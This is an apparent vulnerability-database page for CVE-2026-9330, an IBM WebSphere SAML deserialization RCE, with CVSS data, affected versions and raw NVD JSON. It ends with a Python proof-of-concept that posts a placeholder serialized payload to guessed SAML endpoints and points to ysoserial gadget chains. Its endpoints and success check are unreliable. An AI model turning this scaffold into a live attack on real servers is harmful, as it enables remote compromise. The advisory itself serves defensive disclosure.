Security Vulnerability Report
中文
CVE-2026-9330 CVSS 8.5 HIGH

CVE-2026-9330

Published: 2026-06-01 19:16:56
Last Modified: 2026-06-04 16:52:54

Description

IBM WebSphere Application Server 9.0, and 8.5 is affected by an improper validation of user-supplied data during deserialization using the SAML Web Single Sign-On component. This could result in remote code execution via a crafted HTTP request when combined with a suitable gadget chain.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:traditional:*:*:* - VULNERABLE
cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:traditional:*:*:* - VULNERABLE
IBM WebSphere Application Server 8.5
IBM WebSphere Application Server 9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys import base64 # CVE-2026-9330 PoC - IBM WebSphere SAML Deserialization RCE # This PoC demonstrates the vulnerability in IBM WebSphere Application Server def generate_deserialization_payload(): """ Generate malicious serialization payload for gadget chain exploitation Requires ysoserial or similar tool to generate actual payload Example: java -jar ysoserial.jar CommonsCollections6 "command" > payload.ser """ # Placeholder for actual ysoserial generated payload # Replace with actual generated payload using: # java -jar ysoserial.jar [gadget_chain] [command] > payload.bin return b"MALICIOUS_SERIALIZED_PAYLOAD_PLACEHOLDER" def exploit_cve_2026_9330(target_url, command): """ Exploit function for CVE-2026-9330 target_url: Base URL of vulnerable WebSphere server command: Command to execute on target """ print(f"[*] Targeting: {target_url}") print(f"[*] Command: {command}") # Generate payload using ysoserial (external tool required) # payload = subprocess.check_output([ # 'java', '-jar', 'ysoserial.jar', 'CommonsCollections6', command # ]) # SAML SSO endpoint typically at /samlssoservice or /ibm/saml20 endpoints = [ '/samlssoservice', '/ibm/saml20/defaultTeller/saml20/login', '/SAML20SPWCX' ] headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'SOAPAction': '""' } # Construct SAML request with malicious serialized object # The actual exploitation requires crafting proper SAML assertion for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # SAML Request with embedded serialized payload saml_request = generate_saml_request_with_payload() response = requests.post( url, data=saml_request, headers=headers, timeout=30, verify=False ) if response.status_code == 200 or response.status_code == 500: print(f"[+] Request sent to {endpoint}") print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error targeting {endpoint}: {e}") return False def generate_saml_request_with_payload(): """ Generate SAML request with embedded deserialization payload This is a simplified representation """ # In real attack, the payload would be base64 encoded and embedded # in the SAML assertion or related parameter return { 'SAMLRequest': base64.b64encode(generate_deserialization_payload()).decode(), 'RelayState': 'test' } if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2026-9330.py <target_url> <command>") print("Example: python cve-2026-9330.py https://vulnerable-server:9043 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit_cve_2026_9330(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9330", "sourceIdentifier": "[email protected]", "published": "2026-06-01T19:16:55.813", "lastModified": "2026-06-04T16:52:54.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM WebSphere Application Server 9.0, and 8.5 is affected by an improper validation of user-supplied data during deserialization using the SAML Web Single Sign-On component. This could result in remote code execution via a crafted HTTP request when combined with a suitable gadget chain."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:traditional:*:*:*", "versionStartIncluding": "8.5.0.0", "versionEndExcluding": "8.5.5.30", "matchCriteriaId": "08320FB1-F021-49EE-BD1F-E2A0D3A7B02B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:traditional:*:*:*", "versionStartIncluding": "9.0.0.0", "versionEndExcluding": "9.0.5.29", "matchCriteriaId": "2A4B3C11-FDA8-48D6-997F-48EEA8C3CB2C"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7274733", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}